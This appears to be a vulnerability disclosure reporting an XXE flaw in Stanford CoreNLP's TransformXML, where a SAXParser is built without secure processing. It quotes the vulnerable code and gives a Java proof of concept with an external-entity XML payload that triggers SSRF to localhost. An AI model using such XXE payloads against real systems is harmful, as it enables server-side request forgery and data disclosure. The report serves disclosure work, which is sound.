Description

The TransformXML() function makes use of SAXParser generated from a SAXParserFactory with no FEATURE_SECURE_PROCESSING set, allowing for XXE attacks. In

https://github.com/stanfordnlp/CoreNLP/blob/ef9022322c14bbafab18a0002173e56ae377d6ef/src/edu/stanford/nlp/process/TransformXML.java#L196L203

try {
      saxParser = SAXParserFactory.newInstance().newSAXParser();
} catch (Exception e) {
      log.info("Error configuring XML parser: " + e);
      throw new RuntimeException(e);
}

SAXParser is created without FEATURE_SECURE_PROCESSING set, leaving it vulnerable to XXE

Proof of Concept

Extracted out the key function SAXParser saxParser = SAXParserFactory.newInstance().newSAXParser(), to showcase how it can be exploited.

import javax.xml.parsers.SAXParser;
import javax.xml.parsers.SAXParserFactory;
import org.xml.sax.HandlerBase;

import java.io.ByteArrayInputStream;

public class Poc {

    public static void main(String[] args) {        
        try {
            String xmlpoc = "<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"http://127.0.0.1/\">]><foo>&xxe;</foo>";
            SAXParser saxParser = SAXParserFactory.newInstance().newSAXParser();
            saxParser.parse(new ByteArrayInputStream(xmlpoc.getBytes()), new HandlerBase());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Causes an SSRF to http://127.0.0.1

Impact

This vulnerability is capable of XXE to disclose data / conduct SSRF attacks etc.